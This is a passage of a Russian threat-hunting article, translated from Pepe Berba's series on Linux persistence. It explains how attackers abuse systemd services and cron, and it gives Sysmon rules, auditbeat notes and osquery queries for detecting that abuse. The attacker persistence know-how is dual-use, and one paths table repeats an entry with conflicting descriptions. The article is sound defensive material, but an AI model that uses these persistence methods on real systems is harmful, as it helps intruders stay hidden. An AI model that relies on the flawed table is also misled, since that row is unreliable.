\u0432\u044b\u0448\u0435 \u043f\u0440\u0430\u0432\u0438\u043b auditd.<\/p>\n<pre><code class=\"xml\">&lt;RuleGroup name=\"\" groupRelation=\"or\"&gt;       &lt;ProcessCreate onmatch=\"include\"&gt;         &lt;Rule name=\"TechniqueID=T1053.003,TechniqueName=Scheduled Task\/Job: Cron\" groupRelation=\"or\"&gt;           &lt;Image condition=\"end with\"&gt;crontab&lt;\/Image&gt;         &lt;\/Rule&gt;       &lt;\/ProcessCreate&gt;     &lt;\/RuleGroup&gt;     &lt;RuleGroup name=\"\" groupRelation=\"or\"&gt;       &lt;FileCreate onmatch=\"include\"&gt;         &lt;Rule name=\"TechniqueID=T1053.003,TechniqueName=Scheduled Task\/Job: Cron\" groupRelation=\"or\"&gt;           &lt;TargetFilename condition=\"is\"&gt;\/etc\/cron.allow&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"is\"&gt;\/etc\/cron.deny&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"is\"&gt;\/etc\/crontab&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"begin with\"&gt;\/etc\/cron.d\/&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"begin with\"&gt;\/etc\/cron.daily\/&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"begin with\"&gt;\/etc\/cron.hourly\/&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"begin with\"&gt;\/etc\/cron.monthly\/&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"begin with\"&gt;\/etc\/cron.weekly\/&lt;\/TargetFilename&gt;           &lt;TargetFilename condition=\"begin with\"&gt;\/var\/spool\/cron\/crontabs\/&lt;\/TargetFilename&gt;         &lt;\/Rule&gt;       &lt;\/FileCreate&gt;     &lt;\/RuleGroup&gt;<\/code><\/pre>\n<p><strong>7.3.3 Auditbeats<\/strong><\/p>\n<p>\u041a\u0430\u043a \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 systemd, \u0431\u0443\u0434\u044c\u0442\u0435 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 auditbeat. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e <code>\/etc\/crontab<\/code>. \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0443\u0442\u0438 \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f FIM \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438:<\/p>\n<ul>\n<li>\n<p><code>\/etc\/cron.d\/*<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/etc\/cron.hourly\/*<\/code>, <code>\/etc\/cron.daily\/*<\/code>, <code>\/etc\/cron.weekly\/*<\/code>, <code>\/etc\/cron.monthly\/*<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/var\/spool\/cron\/crontab\/*<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043b\u0438\u0431\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433, \u043b\u0438\u0431\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u044d\u0442\u0438\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e.<\/p>\n<p><strong>7.3.4 Osquery<\/strong><\/p>\n<p>\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u0440\u0430\u0441\u043f\u0430\u0440\u0441\u0435\u043d\u043d\u044b\u0445 crontab:<\/p>\n<pre><code class=\"sql\">SELECT * FROM crontab<\/code><\/pre>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/cf2\/182\/457\/cf2182457929553e37698b48aa689fd0.png\" width=\"1807\" height=\"275\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/cf2\/182\/457\/cf2182457929553e37698b48aa689fd0.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/cf2\/182\/457\/cf2182457929553e37698b48aa689fd0.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p> \u0421\u043f\u0438\u0441\u043e\u043a \u0432\u0441\u0435\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u0445 <code>\/etc\/cron.hourly\/<\/code>, <code>\/etc\/cron.daily\/<\/code>, <code>\/etc\/cron.weekly\/<\/code>, <code>\/etc\/cron.monthly\/<\/code>:  <\/p>\n<pre><code class=\"sql\">SELECT path, directory, md5 FROM hash  WHERE    path LIKE \"\/etc\/cron.hourly\/%\"   OR path LIKE \"\/etc\/cron.daily\/%\"   OR path LIKE \"\/etc\/cron.weekly\/%\"   OR path LIKE \"\/etc\/cron.monthly\/%\";<\/code><\/pre>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2ab\/af9\/27c\/2abaf927c9b4b7b5a8879ebdb8db2e7d.png\" width=\"911\" height=\"401\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/2ab\/af9\/27c\/2abaf927c9b4b7b5a8879ebdb8db2e7d.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2ab\/af9\/27c\/2abaf927c9b4b7b5a8879ebdb8db2e7d.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/931660\/\"> https:\/\/habr.com\/ru\/articles\/931660\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f &#8212; \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0441\u0435\u0440\u0438\u0438 \u0441\u0442\u0430\u0442\u0435\u0439 \u043e\u0442 Pepe Berba &#8212;\u00a0<a href=\"https:\/\/pberba.github.io\/security\/2022\/01\/30\/linux-threat-hunting-for-persistence-systemd-timers-cron\/\" rel=\"noopener noreferrer nofollow\">Hunting for Persistence in Linux.<\/a>  <\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">! \u0412\u0441\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0435 \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043c\u0435\u0440 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0418\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u0441\u0442\u0440\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u0438 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0442 \u0437\u0430\u043a\u043e\u043d\u043e\u0434\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443. \u0410\u0432\u0442\u043e\u0440 \u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435 \u043d\u0435\u0441\u0443\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u043e\u043c\u0435\u0440\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f, \u0441\u043e\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. !  <\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u043e\u0431\u0441\u0443\u0434\u0438\u043c, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0438 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438 \u0437\u0430\u0434\u0430\u0447 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f, \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438:<\/p>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430: \u0441\u0435\u0440\u0432\u0438\u0441 Systemd<\/p>\n<\/li>\n<li>\n<p>\u041f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u0437\u0430\u0434\u0430\u0447\/\u0434\u0436\u043e\u0431: \u0442\u0430\u0439\u043c\u0435\u0440\u044b Systemd<\/p>\n<\/li>\n<li>\n<p>\u041f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u0437\u0430\u0434\u0430\u0447\/\u0434\u0436\u043e\u0431: Cron<\/p>\n<\/li>\n<\/ul>\n<p>\u041c\u044b \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u043a\u043e\u043c\u0430\u043d\u0434 \u043f\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u043a \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043a\u0430\u0436\u0435\u043c, \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a <strong>auditd<\/strong>, <strong>osquery<\/strong>, <strong>sysmon<\/strong> \u0438 <strong>auditbeats<\/strong>.<\/p>\n<h2> 5 \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430: \u0441\u0435\u0440\u0432\u0438\u0441 Systemd  <\/h2>\n<p><strong>5.1 \u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u044b Systemd<\/strong><\/p>\n<p><strong>MITRE:<\/strong> <a href=\"https:\/\/attack.mitre.org\/techniques\/T1543\/002\/\" rel=\"noopener noreferrer nofollow\">https:\/\/attack.mitre.org\/techniques\/T1543\/002\/<\/a><\/p>\n<p>\u0421\u0435\u0440\u0432\u0438\u0441\u044b Systemd \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u043e\u043d\u043e\u0432\u044b\u043c\u0438 \u0434\u0435\u043c\u043e\u043d\u0430\u043c\u0438. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/p>\n<p>\u0412\u043e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0432 Debian, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0431\u044b\u0442\u044c \u0437\u043d\u0430\u043a\u043e\u043c\u044b:<\/p>\n<ul>\n<li>\n<p><code>\/etc\/systemd\/system\/sshd.service<\/code>: \u0441\u0435\u0440\u0432\u0438\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (Secure Shell Service) <\/p>\n<\/li>\n<li>\n<p><code>\/lib\/systemd\/system\/systemd-logind.service<\/code>: \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0445\u043e\u0434\u043e\u043c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 (Login Service) <\/p>\n<\/li>\n<li>\n<p><code>\/lib\/systemd\/system\/rsyslog.service<\/code>: \u0441\u0435\u0440\u0432\u0438\u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (System Logging Service) <\/p>\n<\/li>\n<li>\n<p><code>\/lib\/systemd\/system\/cron.service<\/code>: \u0434\u0435\u043c\u043e\u043d \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u043e\u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c (Regular background program processing daemon)  <\/p>\n<\/li>\n<\/ul>\n<p>\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u0438\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043a\u0430\u043a <strong>sshd<\/strong>, <strong>rsyslogd<\/strong> \u0438 <strong>cron<\/strong>, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<p>\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <strong>systemd<\/strong> \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0445 \u0431\u044d\u043a\u0434\u043e\u0440 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f. \u0414\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f <strong>unit-\u0444\u0430\u0439\u043b<\/strong> \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c <strong>.service<\/strong> \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435:<br \/> <code>\/etc\/systemd\/system\/<\/code> \u0438\u043b\u0438 <code>\/lib\/systemd\/system\/<\/code>.<\/p>\n<p> \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c <strong>rsyslog.service<\/strong>, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.  <\/p>\n<pre><code class=\"bash\">[Unit] Description=System Logging Service Requires=syslog.socket Documentation=man:rsyslogd(8) Documentation=https:\/\/www.rsyslog.com\/doc\/  [Service] Type=notify ExecStart=\/usr\/sbin\/rsyslogd -n -iNONE StandardOutput=null Restart=on-failure  # Increase the default a bit in order to allow many simultaneous # files to be monitored, we might need a lot of fds. LimitNOFILE=16384  [Install] WantedBy=multi-user.target Alias=syslog.service<\/code><\/pre>\n<p>\u0415\u0441\u0442\u044c \u0434\u0432\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435:<\/p>\n<ul>\n<li>\n<p><strong>ExecStart<\/strong>: \u044d\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430<\/p>\n<\/li>\n<li>\n<p><strong>WantedBy<\/strong>: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>multi-user.target<\/code> \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u0435\u0440\u0432\u0438\u0441 \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b<\/p>\n<\/li>\n<\/ul>\n<p>\u0412\u043e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435:<\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/redcanary.com\/blog\/attck-t1501-understanding-systemd-service-persistence\/\" rel=\"noopener noreferrer nofollow\">https:\/\/redcanary.com\/blog\/attck-t1501-understanding-systemd-service-persistence\/<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/wiki.debian.org\/systemd\/Services\" rel=\"noopener noreferrer nofollow\">https:\/\/wiki.debian.org\/systemd\/Services<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.digitalocean.com\/community\/tutorials\/how-to-use-systemctl-to-manage-systemd-services-and-units\" rel=\"noopener noreferrer nofollow\">https:\/\/www.digitalocean.com\/community\/tutorials\/how-to-use-systemctl-to-manage-systemd-services-and-units<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/manpages.debian.org\/bullseye\/systemd\/systemd.unit.5.en.html\" rel=\"noopener noreferrer nofollow\">https:\/\/manpages.debian.org\/bullseye\/systemd\/systemd.unit.5.en.html<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.freedesktop.org\/software\/systemd\/man\/systemd.unit.html\" rel=\"noopener noreferrer nofollow\">https:\/\/www.freedesktop.org\/software\/systemd\/man\/systemd.unit.html<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.unixsysadmin.com\/systemd-user-services\/\" rel=\"noopener noreferrer nofollow\">https:\/\/www.unixsysadmin.com\/systemd-user-services\/<\/a><\/p>\n<\/li>\n<\/ul>\n<p><strong>5.2 \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 <\/strong><\/p>\n<p><strong>5.2.1 \u0413\u0434\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432<\/strong> <\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c <strong>unit-\u0444\u0430\u0439\u043b<\/strong> \u0432\u0438\u0434\u0430 <code>&lt;SERVICE&gt;.service<\/code> \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043f\u0443\u0442\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 unit-\u0444\u0430\u0439\u043b\u043e\u0432 systemd. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e man-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u043c [<a href=\"https:\/\/manpages.debian.org\/bullseye\/systemd\/systemd.unit.5.en.html\" rel=\"noopener noreferrer nofollow\">Debian systemd.unit man page<\/a>] \u0438 [<a href=\"https:\/\/www.freedesktop.org\/software\/systemd\/man\/latest\/systemd.unit.html\" rel=\"noopener noreferrer nofollow\">freedesktop systemd.unit man page<\/a>]. <\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"><strong>\u041f\u0443\u0442\u044c<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"> \/etc\/systemd\/system  <\/p>\n<\/td>\n<td>\n<p align=\"left\"> \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u044e\u043d\u0438\u0442\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c  <\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"> \/usr\/local\/lib\/systemd\/system<\/p>\n<\/td>\n<td>\n<p align=\"left\"> \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u044e\u043d\u0438\u0442\u044b, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c  <\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"> \/lib\/systemd\/system  <\/p>\n<\/td>\n<td>\n<p align=\"left\"> \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u044e\u043d\u0438\u0442\u044b, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u043e\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430  <\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"270\" width=\"270\">\n<p align=\"left\"> \/usr\/local\/lib\/systemd\/system  <\/p>\n<\/td>\n<td>\n<p align=\"left\"> \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u044e\u043d\u0438\u0442\u044b, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u043e\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430  <\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043e\u043a, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c <code>systemd <\/code>\u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043a\u0430\u0442\u044c unit-\u0444\u0430\u0439\u043b\u044b, \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e 